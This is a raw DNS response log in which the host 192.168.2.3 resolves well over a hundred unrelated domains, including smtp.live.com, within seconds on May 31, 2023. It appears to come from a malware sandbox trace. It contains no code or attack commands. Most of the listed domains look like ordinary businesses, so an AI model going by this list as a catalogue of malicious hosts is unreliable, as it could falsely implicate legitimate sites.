May 31, 2023 14:52:17.383532047 CEST	8.8.8.8	192.168.2.3	0x1d47	No error (0)	www.otena.com		3.64.163.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.406167984 CEST	8.8.8.8	192.168.2.3	0x5381	No error (0)	www.nelipak.nl		82.201.61.230	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.455182076 CEST	8.8.8.8	192.168.2.3	0xc873	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.471219063 CEST	8.8.8.8	192.168.2.3	0xed43	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.471968889 CEST	8.8.8.8	192.168.2.3	0x1ac9	No error (0)	www.evcpa.com	evcpa.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:17.471968889 CEST	8.8.8.8	192.168.2.3	0x1ac9	No error (0)	evcpa.com		192.124.249.10	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.483125925 CEST	8.8.8.8	192.168.2.3	0x521	No error (0)	www.sjbs.org	sjbs.org		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:17.483125925 CEST	8.8.8.8	192.168.2.3	0x521	No error (0)	sjbs.org		69.163.239.62	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.487591028 CEST	8.8.8.8	192.168.2.3	0x465b	No error (0)	www.abart.pl	abart.pl		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:17.487591028 CEST	8.8.8.8	192.168.2.3	0x465b	No error (0)	abart.pl		89.161.163.246	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.498276949 CEST	8.8.8.8	192.168.2.3	0x5721	No error (0)	www.naoi-a.com		202.254.236.40	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.531065941 CEST	8.8.8.8	192.168.2.3	0x21d3	No error (0)	www.t-tre.com		135.181.73.98	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.542557001 CEST	8.8.8.8	192.168.2.3	0x4f59	No error (0)	www.tvtools.fi		104.21.88.198	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.542557001 CEST	8.8.8.8	192.168.2.3	0x4f59	No error (0)	www.tvtools.fi		172.67.152.159	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.564652920 CEST	8.8.8.8	192.168.2.3	0xc286	No error (0)	www.edimart.hu		81.2.194.241	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.570920944 CEST	8.8.8.8	192.168.2.3	0x60eb	No error (0)	zemarmot.net		164.132.175.106	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.573525906 CEST	8.8.8.8	192.168.2.3	0xc8b5	No error (0)	www.xaicom.es	xaicom.es		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:17.573525906 CEST	8.8.8.8	192.168.2.3	0xc8b5	No error (0)	xaicom.es		188.165.133.163	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.677937031 CEST	8.8.8.8	192.168.2.3	0x40f9	No error (0)	www.aevga.com	aevga.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:17.677937031 CEST	8.8.8.8	192.168.2.3	0x40f9	No error (0)	aevga.com		108.167.164.216	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.684788942 CEST	8.8.8.8	192.168.2.3	0xf52b	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.694439888 CEST	8.8.8.8	192.168.2.3	0x15e1	No error (0)	www.abdg.com		192.252.154.18	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.757046938 CEST	8.8.8.8	192.168.2.3	0xaa0e	No error (0)	www.pcgrate.com		104.21.66.46	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.757046938 CEST	8.8.8.8	192.168.2.3	0xaa0e	No error (0)	www.pcgrate.com		172.67.201.26	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.807934046 CEST	8.8.8.8	192.168.2.3	0x9a2c	No error (0)	www.cokocoko.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:17.807934046 CEST	8.8.8.8	192.168.2.3	0x9a2c	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:17.807934046 CEST	8.8.8.8	192.168.2.3	0x9a2c	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.807934046 CEST	8.8.8.8	192.168.2.3	0x9a2c	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.825020075 CEST	8.8.8.8	192.168.2.3	0x585	No error (0)	www.ora.ecnet.jp	ora.ecnet.jp		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:17.825020075 CEST	8.8.8.8	192.168.2.3	0x585	No error (0)	ora.ecnet.jp		60.43.154.138	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.942116976 CEST	8.8.8.8	192.168.2.3	0x548b	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:17.942116976 CEST	8.8.8.8	192.168.2.3	0x548b	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.964504004 CEST	8.8.8.8	192.168.2.3	0xea7	No error (0)	www.hummer.hu	hummer.hu		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:17.964504004 CEST	8.8.8.8	192.168.2.3	0xea7	No error (0)	hummer.hu		185.80.51.179	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.022696018 CEST	8.8.8.8	192.168.2.3	0xc849	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.056147099 CEST	8.8.8.8	192.168.2.3	0x8f2a	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.087064028 CEST	8.8.8.8	192.168.2.3	0xe8f3	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.119126081 CEST	8.8.8.8	192.168.2.3	0xfb96	No error (0)	www.waldi.pl	waldi.pl		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:18.119126081 CEST	8.8.8.8	192.168.2.3	0xfb96	No error (0)	waldi.pl		46.242.238.60	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.120796919 CEST	8.8.8.8	192.168.2.3	0xdba9	No error (0)	www.stnic.co.uk		77.68.50.105	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.133464098 CEST	8.8.8.8	192.168.2.3	0xb849	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.148216009 CEST	8.8.8.8	192.168.2.3	0x3756	No error (0)	www.maktraxx.com	maktraxx.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:18.148216009 CEST	8.8.8.8	192.168.2.3	0x3756	No error (0)	maktraxx.com		72.44.93.236	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.188143969 CEST	8.8.8.8	192.168.2.3	0x22	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.240519047 CEST	8.8.8.8	192.168.2.3	0x835	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.263159037 CEST	8.8.8.8	192.168.2.3	0x511	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.296473980 CEST	8.8.8.8	192.168.2.3	0x7a85	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.319744110 CEST	8.8.8.8	192.168.2.3	0xb629	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.344572067 CEST	8.8.8.8	192.168.2.3	0xef42	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.355468035 CEST	8.8.8.8	192.168.2.3	0xaa94	No error (0)	www.mobilnic.net		154.203.14.100	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.364608049 CEST	8.8.8.8	192.168.2.3	0x4300	No error (0)	106west.com		148.130.4.196	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.374681950 CEST	8.8.8.8	192.168.2.3	0x7239	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.386086941 CEST	8.8.8.8	192.168.2.3	0x4fb5	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.429503918 CEST	8.8.8.8	192.168.2.3	0xeecf	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.471971989 CEST	8.8.8.8	192.168.2.3	0xd6ba	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.515294075 CEST	8.8.8.8	192.168.2.3	0x3ae3	No error (0)	www.cel-cpa.com		104.196.26.65	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.520742893 CEST	8.8.8.8	192.168.2.3	0x2725	No error (0)	www.speelhal.net		217.19.237.54	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.546544075 CEST	8.8.8.8	192.168.2.3	0xf67b	No error (0)	holp-ai.com		59.106.13.169	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.590656042 CEST	8.8.8.8	192.168.2.3	0xa689	Name error (3)	polprime.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.597296000 CEST	8.8.8.8	192.168.2.3	0x911e	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.611008883 CEST	8.8.8.8	192.168.2.3	0xc801	No error (0)	www.netcr.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:18.611008883 CEST	8.8.8.8	192.168.2.3	0xc801	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:18.611008883 CEST	8.8.8.8	192.168.2.3	0xc801	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.611008883 CEST	8.8.8.8	192.168.2.3	0xc801	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.613888979 CEST	8.8.8.8	192.168.2.3	0x32d2	No error (0)	www.findbc.com		13.248.169.48	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.613888979 CEST	8.8.8.8	192.168.2.3	0x32d2	No error (0)	www.findbc.com		76.223.54.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.613987923 CEST	8.8.8.8	192.168.2.3	0x9d31	No error (0)	notis.ru		185.178.208.141	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.667685986 CEST	8.8.8.8	192.168.2.3	0xbce1	No error (0)	revoldia.net		154.210.36.66	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.719919920 CEST	8.8.8.8	192.168.2.3	0xe64b	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.745570898 CEST	8.8.8.8	192.168.2.3	0x93	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.773160934 CEST	8.8.8.8	192.168.2.3	0x439	No error (0)	www.snugpak.com		172.67.165.62	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.773160934 CEST	8.8.8.8	192.168.2.3	0x439	No error (0)	www.snugpak.com		104.21.73.182	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.803345919 CEST	8.8.8.8	192.168.2.3	0xf52b	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.807681084 CEST	8.8.8.8	192.168.2.3	0x1f3	No error (0)	okashimo.com		203.137.75.45	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.855345011 CEST	8.8.8.8	192.168.2.3	0xd598	No error (0)	noblesse.be		5.134.4.115	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.901073933 CEST	8.8.8.8	192.168.2.3	0x2085	No error (0)	www.jchysk.com		208.97.178.138	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.911349058 CEST	8.8.8.8	192.168.2.3	0x9676	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.935256004 CEST	8.8.8.8	192.168.2.3	0xfd5e	No error (0)	www.c9dd.com		188.166.152.188	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.011663914 CEST	8.8.8.8	192.168.2.3	0x28af	No error (0)	www.fe-bauer.de		3.65.101.129	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.038297892 CEST	8.8.8.8	192.168.2.3	0xa229	No error (0)	www.domon.com	meubles-domon.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:19.038297892 CEST	8.8.8.8	192.168.2.3	0xa229	No error (0)	meubles-domon.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:19.038297892 CEST	8.8.8.8	192.168.2.3	0xa229	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.044857025 CEST	8.8.8.8	192.168.2.3	0x4df	No error (0)	www.crcsi.org	crcsi.org		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:19.044857025 CEST	8.8.8.8	192.168.2.3	0x4df	No error (0)	crcsi.org		165.227.252.190	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.054832935 CEST	8.8.8.8	192.168.2.3	0x8940	No error (0)	www.fink.com		69.163.218.51	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.182233095 CEST	8.8.8.8	192.168.2.3	0x1418	No error (0)	cyclad.pl		87.98.236.253	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.182779074 CEST	8.8.8.8	192.168.2.3	0x7fdd	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.218240023 CEST	8.8.8.8	192.168.2.3	0x9fa3	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.245534897 CEST	8.8.8.8	192.168.2.3	0x111b	No error (0)	www.pwd.org	pwd.org		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:19.245534897 CEST	8.8.8.8	192.168.2.3	0x111b	No error (0)	pwd.org		208.109.214.162	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.245995998 CEST	8.8.8.8	192.168.2.3	0x7dc9	No error (0)	www.lrsuk.com	language-recruitment.eu-2.volcanic.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:19.245995998 CEST	8.8.8.8	192.168.2.3	0x7dc9	No error (0)	language-recruitment.eu-2.volcanic.cloud	d2kt7vovxa5e81.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:19.245995998 CEST	8.8.8.8	192.168.2.3	0x7dc9	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.245995998 CEST	8.8.8.8	192.168.2.3	0x7dc9	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.245995998 CEST	8.8.8.8	192.168.2.3	0x7dc9	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.87	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.245995998 CEST	8.8.8.8	192.168.2.3	0x7dc9	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.94	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.293423891 CEST	8.8.8.8	192.168.2.3	0xed36	No error (0)	www.ora-ito.com		213.186.33.40	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.322485924 CEST	8.8.8.8	192.168.2.3	0x633b	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.377830029 CEST	8.8.8.8	192.168.2.3	0x1fd7	No error (0)	www.dayvo.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.377830029 CEST	8.8.8.8	192.168.2.3	0x1fd7	No error (0)	www.dayvo.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.396723032 CEST	8.8.8.8	192.168.2.3	0x46cb	No error (0)	beafin.com		133.125.38.187	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.397291899 CEST	8.8.8.8	192.168.2.3	0xcf18	No error (0)	hamaker.net		34.102.136.180	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.397372007 CEST	8.8.8.8	192.168.2.3	0x224a	No error (0)	alexpope.biz		76.74.184.61	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.402570009 CEST	8.8.8.8	192.168.2.3	0x2c85	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.405064106 CEST	8.8.8.8	192.168.2.3	0x8cfb	No error (0)	fortknox.bm		216.177.137.32	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.405834913 CEST	8.8.8.8	192.168.2.3	0x90f2	No error (0)	yasuma.com		61.200.81.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.411919117 CEST	8.8.8.8	192.168.2.3	0x43df	No error (0)	gcss.com		35.186.238.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.419043064 CEST	8.8.8.8	192.168.2.3	0x24c4	No error (0)	top1oil.com		172.67.71.55	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.419043064 CEST	8.8.8.8	192.168.2.3	0x24c4	No error (0)	top1oil.com		104.26.1.82	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.419043064 CEST	8.8.8.8	192.168.2.3	0x24c4	No error (0)	top1oil.com		104.26.0.82	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.515145063 CEST	8.8.8.8	192.168.2.3	0x25a1	No error (0)	pellys.co.uk		77.72.4.226	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.519769907 CEST	8.8.8.8	192.168.2.3	0x9768	No error (0)	araax.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:19.519769907 CEST	8.8.8.8	192.168.2.3	0x9768	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:19.519769907 CEST	8.8.8.8	192.168.2.3	0x9768	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.519769907 CEST	8.8.8.8	192.168.2.3	0x9768	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.520227909 CEST	8.8.8.8	192.168.2.3	0x3897	No error (0)	at-shun.com		210.140.73.39	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.584122896 CEST	8.8.8.8	192.168.2.3	0x911e	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.623063087 CEST	8.8.8.8	192.168.2.3	0xbb02	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.648319960 CEST	8.8.8.8	192.168.2.3	0xab7d	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.671086073 CEST	8.8.8.8	192.168.2.3	0x3bb9	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.676485062 CEST	8.8.8.8	192.168.2.3	0xcc09	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.692960978 CEST	8.8.8.8	192.168.2.3	0x5f59	No error (0)	www.pupi.cz		103.224.182.241	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.735744953 CEST	8.8.8.8	192.168.2.3	0x63dd	No error (0)	www.stajum.com		162.43.120.128	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.765482903 CEST	8.8.8.8	192.168.2.3	0x62f8	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:19.765482903 CEST	8.8.8.8	192.168.2.3	0x62f8	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:19.765482903 CEST	8.8.8.8	192.168.2.3	0x62f8	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:19.765482903 CEST	8.8.8.8	192.168.2.3	0x62f8	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:19.765482903 CEST	8.8.8.8	192.168.2.3	0x62f8	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.0.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.773480892 CEST	8.8.8.8	192.168.2.3	0xcf9a	No error (0)	onzcda.com		35.186.238.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:19.976370096 CEST	8.8.8.8	192.168.2.3	0xf52b	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.009592056 CEST	8.8.8.8	192.168.2.3	0xd1a4	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.028454065 CEST	8.8.8.8	192.168.2.3	0x3353	No error (0)	kevyt.net		172.67.129.18	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.028454065 CEST	8.8.8.8	192.168.2.3	0x3353	No error (0)	kevyt.net		104.21.2.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.040214062 CEST	8.8.8.8	192.168.2.3	0x4a09	No error (0)	www.myropcb.com		74.208.236.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.042571068 CEST	8.8.8.8	192.168.2.3	0x1363	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.069430113 CEST	8.8.8.8	192.168.2.3	0xa050	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.122231007 CEST	8.8.8.8	192.168.2.3	0xbfa3	No error (0)	wnit.org		38.111.255.201	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.348736048 CEST	8.8.8.8	192.168.2.3	0xe498	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.442348957 CEST	8.8.8.8	192.168.2.3	0x717e	No error (0)	burstner.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.601428032 CEST	8.8.8.8	192.168.2.3	0x911e	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.651968002 CEST	8.8.8.8	192.168.2.3	0xa715	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.790116072 CEST	8.8.8.8	192.168.2.3	0xe70b	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.792515039 CEST	8.8.8.8	192.168.2.3	0xc323	No error (0)	willsub.com		69.89.107.122	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.905663013 CEST	8.8.8.8	192.168.2.3	0x1a2d	No error (0)	ruzee.com		207.180.198.201	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.942174911 CEST	8.8.8.8	192.168.2.3	0xf003	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.964306116 CEST	8.8.8.8	192.168.2.3	0x6f6f	No error (0)	semuk.com		86.105.245.69	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:20.992847919 CEST	8.8.8.8	192.168.2.3	0x43c0	No error (0)	hamaker.net		34.102.136.180	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.119251013 CEST	8.8.8.8	192.168.2.3	0x9f0f	No error (0)	adeesa.net		172.67.209.11	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.119251013 CEST	8.8.8.8	192.168.2.3	0x9f0f	No error (0)	adeesa.net		104.21.77.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.151146889 CEST	8.8.8.8	192.168.2.3	0x255a	No error (0)	www.yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.217304945 CEST	8.8.8.8	192.168.2.3	0x2f24	No error (0)	reproar.com		194.143.194.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.277070045 CEST	8.8.8.8	192.168.2.3	0xe9ed	No error (0)	notis.ru		185.178.208.141	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.313669920 CEST	8.8.8.8	192.168.2.3	0xcdd5	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.336123943 CEST	8.8.8.8	192.168.2.3	0x33d2	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.359189987 CEST	8.8.8.8	192.168.2.3	0xf5da	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.367438078 CEST	8.8.8.8	192.168.2.3	0xf522	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.453319073 CEST	8.8.8.8	192.168.2.3	0x6e0a	No error (0)	listel.co.jp		49.212.243.77	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.457736015 CEST	8.8.8.8	192.168.2.3	0x8ff1	No error (0)	canasil.com		104.26.3.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.457736015 CEST	8.8.8.8	192.168.2.3	0x8ff1	No error (0)	canasil.com		172.67.68.180	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.457736015 CEST	8.8.8.8	192.168.2.3	0x8ff1	No error (0)	canasil.com		104.26.2.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.659610033 CEST	8.8.8.8	192.168.2.3	0xa715	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.664279938 CEST	8.8.8.8	192.168.2.3	0xa167	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.688019991 CEST	8.8.8.8	192.168.2.3	0x65dd	No error (0)	uhsa.edu.ag		192.124.249.13	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.810677052 CEST	8.8.8.8	192.168.2.3	0xb9b1	No error (0)	dayvo.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.810677052 CEST	8.8.8.8	192.168.2.3	0xb9b1	No error (0)	dayvo.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.964927912 CEST	8.8.8.8	192.168.2.3	0xf003	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:21.984513044 CEST	8.8.8.8	192.168.2.3	0xf52b	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.137979031 CEST	8.8.8.8	192.168.2.3	0x414c	No error (0)	smtp.live.com	a-0010.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:22.263123035 CEST	8.8.8.8	192.168.2.3	0xb3dc	No error (0)	smitko.net		31.15.12.103	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.285723925 CEST	8.8.8.8	192.168.2.3	0x9e9b	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.300430059 CEST	8.8.8.8	192.168.2.3	0x7806	No error (0)	a-domani.com		183.90.232.24	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.307754040 CEST	8.8.8.8	192.168.2.3	0x868c	No error (0)	atbauk.org		104.21.92.170	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.307754040 CEST	8.8.8.8	192.168.2.3	0x868c	No error (0)	atbauk.org		172.67.196.145	A (IP address)	IN (0x0001)	false
